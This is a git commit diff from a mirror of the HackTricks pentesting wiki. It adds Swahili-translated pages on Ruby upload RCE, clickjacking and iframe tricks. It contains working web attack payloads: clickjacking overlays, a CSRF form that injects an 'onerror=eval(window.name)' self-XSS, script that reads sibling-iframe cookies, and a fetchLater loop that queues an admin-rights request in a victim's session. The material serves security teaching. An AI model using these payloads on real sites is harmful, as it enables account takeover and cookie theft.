mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
63ab45bc07
commit
a9448d81bd
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Upakuaji wa faili kwa RCE
|
||||
|
||||
Kama ilivyoelezwa katika [this article](https://www.offsec.com/blog/cve-2024-46986/), kupakia faili la `.rb` katika directories nyeti kama `config/initializers/` kunaweza kusababisha utekelezaji wa msimbo wa mbali (RCE) katika programu za Ruby on Rails.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,15 +4,15 @@
|
||||
|
||||
## What is Clickjacking
|
||||
|
||||
Katika shambulio la clickjacking, **mtumiaji** anachukuliwa **kudanganywa** ili **kubofya** **kipengele** kwenye ukurasa wa wavuti ambacho ni **bila kuonekana** au kimejificha kama kipengele kingine. Manipulasi hii inaweza kusababisha matokeo yasiyokusudiwa kwa mtumiaji, kama vile kupakua malware, kuelekezwa kwenye kurasa za wavuti zenye uharibifu, kutoa akidi au taarifa nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.
|
||||
Katika shambulio la clickjacking, **mtumiaji** anachukuliwa **kudanganywa** ili **kubofya** **kipengele** kwenye ukurasa wa wavuti ambacho ni **bila kuonekana** au kimejificha kama kipengele kingine. Manipulasi hii inaweza kusababisha matokeo yasiyokusudiwa kwa mtumiaji, kama vile kupakua malware, kuelekezwa kwenye kurasa za wavuti zenye uharibifu, kutoa akreditif au taarifa nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.
|
||||
|
||||
### Prepopulate forms trick
|
||||
|
||||
Wakati mwingine inawezekana **kujaza thamani ya maeneo ya fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa**. Mshambuliaji anaweza kutumia tabia hii vibaya kujaza fomu na data isiyo ya kawaida na kutuma payload ya clickjacking ili mtumiaji abofye kitufe cha Submit.
|
||||
Wakati mwingine inawezekana **kujaza thamani ya maeneo ya fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa**. Mshambuliaji anaweza kutumia tabia hii kujaza fomu kwa data isiyo ya kawaida na kutuma payload ya clickjacking ili mtumiaji abofye kitufe cha Submit.
|
||||
|
||||
### Populate form with Drag\&Drop
|
||||
|
||||
Ikiwa unahitaji mtumiaji **ajaze fomu** lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe na au nywila maalum unayojua), unaweza tu kumwambia **Drag\&Drop** kitu ambacho kitaandika data yako iliyodhibitiwa kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Ikiwa unahitaji mtumiaji **ajaze fomu** lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe na au nenosiri maalum unalojua), unaweza tu kumwambia **Drag\&Drop** kitu ambacho kitaandika data yako unayodhibiti kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Basic Payload
|
||||
```css
|
||||
@ -34,7 +34,7 @@ z-index: 1;
|
||||
<div>Click me</div>
|
||||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||||
```
|
||||
### Payload ya Hatua Nyingi
|
||||
### Multistep Payload
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
@ -89,7 +89,7 @@ background: #F00;
|
||||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
Ikiwa umepata **shambulio la XSS linalohitaji mtumiaji kubonyeza** kwenye kipengele fulani ili **kuanzisha** XSS na ukurasa ni **hauna kinga dhidi ya clickjacking**, unaweza kutumia hii kudanganya mtumiaji kubonyeza kitufe/kiungo.\
|
||||
Ikiwa umepata **shambulio la XSS ambalo linahitaji mtumiaji kubonyeza** kwenye kipengele fulani ili **kuanzisha** XSS na ukurasa ni **hauna kinga dhidi ya clickjacking**, unaweza kutumia hii kudanganya mtumiaji kubonyeza kitufe/kiungo.\
|
||||
Mfano:\
|
||||
Umebaini **self XSS** katika maelezo ya kibinafsi ya akaunti (maelezo ambayo **ni wewe pekee unayeweza kuweka na kusoma**). Ukurasa wenye **fomu** ya kuweka maelezo haya ni **hauna kinga** dhidi ya **Clickjacking** na unaweza **kujaza** **fomu** kwa vigezo vya GET.\
|
||||
Mshambuliaji anaweza kuandaa shambulio la **Clickjacking** kwa ukurasa huo **ukijaza** **fomu** kwa **XSS payload** na **kudanganya** **mtumiaji** ku **Tuma** fomu. Hivyo, **wakati fomu inatumwa** na thamani zimebadilishwa, **mtumiaji atatekeleza XSS**.
|
||||
@ -111,7 +111,7 @@ Mfano wa msimbo unaweza kupatikana katika [ukurasa huu](https://www.paulosyibelo
|
||||
|
||||
Scripts zinazotekelezwa upande wa mteja zinaweza kufanya vitendo vya kuzuia Clickjacking:
|
||||
|
||||
- Kuhakikisha dirisha la programu ni dirisha kuu au la juu.
|
||||
- Kuhakikisha dirisha la programu ndilo dirisha kuu au la juu.
|
||||
- Kufanya fremu zote ziwe wazi.
|
||||
- Kuzuia bonyezo kwenye fremu zisizoonekana.
|
||||
- Kugundua na kuonya watumiaji kuhusu majaribio ya Clickjacking yanayoweza kutokea.
|
||||
@ -135,9 +135,9 @@ The `allow-forms` and `allow-scripts` values enable actions within the iframe wh
|
||||
The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
|
||||
|
||||
- `X-Frame-Options: deny` - Hakuna domain inayoweza kuweka maudhui kwenye fremu.
|
||||
- `X-Frame-Options: sameorigin` - Ni tovuti ya sasa pekee inayoweza kuweka maudhui kwenye fremu.
|
||||
- `X-Frame-Options: sameorigin` - Tovuti ya sasa pekee inaweza kuweka maudhui kwenye fremu.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Ni 'uri' iliyoainishwa pekee inayoweza kuweka ukurasa kwenye fremu.
|
||||
- Kumbuka mipaka: ikiwa kivinjari hakikubali mwelekeo huu, huenda usifanye kazi. Kivinjari vingine hupendelea mwelekeo wa CSP frame-ancestors.
|
||||
- Kumbuka mipaka: ikiwa kivinjari hakikubali mwelekeo huu, huenda isifanye kazi. Kivinjari vingine hupendelea mwelekeo wa CSP frame-ancestors.
|
||||
|
||||
#### Content Security Policy (CSP) frame-ancestors directive
|
||||
|
||||
@ -181,9 +181,9 @@ Sera hii inaruhusu fremu na wafanyakazi kutoka chanzo kimoja (mwenyewe) na https
|
||||
- Tabia ya Kurejelea: Ikiwa frame-src haipo, child-src inatumika kama kurejelea kwa fremu. Ikiwa zote hazipo, default-src inatumika.
|
||||
- Mwelekeo Mkali wa Chanzo: Jumuisha tu vyanzo vinavyotegemewa katika maagizo ili kuzuia unyakuzi.
|
||||
|
||||
#### Scripts za Kuondoa Fremu za JavaScript
|
||||
#### Skripti za JavaScript za Kuvunja Fremu
|
||||
|
||||
Ingawa si salama kabisa, scripts za kuondoa fremu za msingi wa JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti usiweze kuwekwa kwenye fremu. Mfano:
|
||||
Ingawa si salama kabisa, skripti za kuvunja fremu za msingi wa JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti usiwe katika fremu. Mfano:
|
||||
```javascript
|
||||
if (top !== self) {
|
||||
top.location = self.location
|
||||
@ -191,7 +191,7 @@ top.location = self.location
|
||||
```
|
||||
#### Kutumia Tokeni za Anti-CSRF
|
||||
|
||||
- **Uthibitishaji wa Tokeni:** Tumia tokeni za anti-CSRF katika programu za wavuti kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.
|
||||
- **Uthibitishaji wa Tokeni:** Tumia tokeni za anti-CSRF katika programu za wavuti ili kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
Kuna njia 3 za kuonyesha maudhui ya ukurasa wa iframed:
|
||||
|
||||
- Kupitia `src` ikionyesha URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
|
||||
- Kupitia `src` ikionyesha maudhui kwa kutumia itifaki ya `data:`
|
||||
- Kupitia `srcdoc` ikionyesha maudhui
|
||||
- Kupitia `src` kuashiria URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
|
||||
- Kupitia `src` kuashiria maudhui kwa kutumia itifaki ya `data:`
|
||||
- Kupitia `srcdoc` kuashiria maudhui
|
||||
|
||||
**Kufikia Parent & Child vars**
|
||||
```html
|
||||
@ -45,12 +45,12 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa kwenye tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
||||
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
||||
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
|
||||
|
||||
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Tafadhali, angalia jinsi katika bypasses zifuatazo jibu la ukurasa wa iframed halina kichwa chochote cha CSP kinachozuia utekelezaji wa JS.
|
||||
|
||||
Thamani ya `self` ya `script-src` haitaruhusu utekelezaji wa msimbo wa JS ukitumia protokali ya `data:` au sifa ya `srcdoc`.\
|
||||
@ -76,8 +76,8 @@ id="if4"
|
||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
Kumbuka jinsi **CSP ya awali inaruhusu tu utekelezaji wa script ya ndani**.\
|
||||
Hata hivyo, **ni `if1` na `if2` tu ndizo zitakazotekelezwa lakini ni `if1` pekee ndilo litakaloweza kufikia siri ya mzazi**.
|
||||
Note jinsi **CSP ya awali inaruhusu tu utekelezaji wa script ya ndani**.\
|
||||
Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee itakayoweza kufikia siri ya mzazi**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -103,7 +103,7 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Mipango Mingine Ilayotolewa Katika Porini <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
### Payloads Nyingine Zilizopatikana Katika Mwitu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -125,15 +125,62 @@ Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
|
||||
- Jaribio lolote la kuwasilisha fomu linazuiwa.
|
||||
- Utekelezaji wa scripts unakatazwa.
|
||||
- Upatikanaji wa APIs fulani unazuiliwa.
|
||||
- Inazuia viungo kuingiliana na muktadha mingine ya kuvinjari.
|
||||
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
|
||||
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
|
||||
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
|
||||
- Vipengele vinavyosababishwa kiotomatiki, kama vile kucheza video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
||||
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji wa video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
||||
|
||||
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutokana na vizuizi fulani.
|
||||
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Kama ilivyoelezwa katika [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera ya `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakwa ndani ya iframe.
|
||||
|
||||
Hii inaruhusu iframe kufikia taarifa nyeti kutoka iframe nyingine katika SOP sawa iliyopakiwa kwenye ukurasa wa mzazi:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Mfano wa unyakuzi: Self-XSS + CSRF
|
||||
|
||||
Katika shambulio hili, mshambuliaji anajiandaa ukurasa mbaya wenye iframes 2:
|
||||
|
||||
- Iframe ambayo inachukua ukurasa wa mwathirika na bendera ya `credentialless` yenye CSRF inayosababisha XSS (Fikiria Self-XSS katika jina la mtumiaji):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
|
||||
|
||||
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Attack
|
||||
|
||||
Kama ilivyoonyeshwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/) API `fetchLater` inaruhusu kuunda ombi litakalotekelezwa baadaye (baada ya muda fulani). Hivyo, hii inaweza kutumika vibaya kwa mfano, kuingia kwa mwathirika ndani ya kikao cha mshambuliaji (kwa kutumia Self-XSS), kuweka ombi la `fetchLater` (kubadilisha nywila ya mtumiaji wa sasa kwa mfano) na kutoka kwenye kikao cha mshambuliaji. Kisha, mwathirika anaingia kwenye kikao chake mwenyewe na ombi la `fetchLater` litatekelezwa, likibadilisha nywila ya mwathirika kuwa ile iliyowekwa na mshambuliaji.
|
||||
|
||||
Kwa njia hii hata kama URL ya mwathirika haiwezi kupakuliwa kwenye iframe (kwa sababu ya CSP au vizuizi vingine), mshambuliaji bado anaweza kutekeleza ombi katika kikao cha mwathirika.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes katika SOP
|
||||
|
||||
Angalia kurasa zifuatazo:
|
||||
|
Loading…
x
Reference in New Issue
Block a user